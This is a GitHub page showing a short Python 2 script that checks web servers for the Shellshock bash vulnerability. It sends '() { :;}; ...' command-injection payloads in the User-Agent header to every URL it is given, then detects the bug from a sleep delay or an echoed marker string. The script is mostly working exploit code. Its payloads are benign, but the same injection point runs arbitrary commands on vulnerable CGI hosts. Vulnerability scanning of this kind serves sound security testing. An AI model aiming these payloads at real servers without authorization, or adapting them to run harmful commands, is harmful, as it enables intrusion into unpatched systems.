-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathshellshock_cgi.py
62 lines (50 loc) · 2.04 KB
/
shellshock_cgi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
import urllib2
import time
import random
import string
randstr = lambda n: ''.join(random.choice(string.ascii_letters + string.digits) for i in xrange(n))
def timing_attack(url, request_type="HEAD", data=None, headers=None, sleeptime = 3, cmd='() { :;}; PATH="/bin:/usr/bin:/usr/local/bin:$PATH" sleep %f'):
request_type = request_type.upper()
if request_type not in ("HEAD", "GET", "POST"):
raise Exception("Illegal request type '%s'" % request_type)
if headers is None: headers = {}
r = urllib2.Request(url, data, headers)
r.get_method = lambda : request_type
otime = -time.time()
response = urllib2.urlopen(r)
otime += time.time()
# somehow add_header doesn't work for user-agent and py2.7
r.add_unredirected_header("User-Agent", cmd % (sleeptime,))
htime = -time.time()
response = urllib2.urlopen(r)
htime += time.time()
return htime >= sleeptime and htime > otime
def text_attack(url, request_type="GET", data=None, headers=None):
request_type = request_type.upper()
if request_type not in ("GET", "POST"):
raise Exception("Illegal request type '%s'" % request_type)
if headers is None: headers = {}
needle = randstr(20)
r = urllib2.Request(url, data, headers)
r.add_unredirected_header("User-Agent", '() { :;}; echo \'%s\'' % (needle,))
r.add_header("User-Agent", '() { :;}; echo \'%s\'' % (needle,))
r.get_method = lambda : request_type
response = urllib2.urlopen(r)
return needle in response.read()
if __name__ == '__main__':
import sys
if len(sys.argv) < 2:
urls = sys.stdin.readlines()
else:
urls = sys.argv[1:]
for url in urls:
print "- testing:", url
try:
print "Timing attack vulnerable:",
print timing_attack(url, "GET")
print "Known text attack vulnerable:",
print text_attack(url, "GET")
print
except urllib2.HTTPError as he:
print "Request error:", he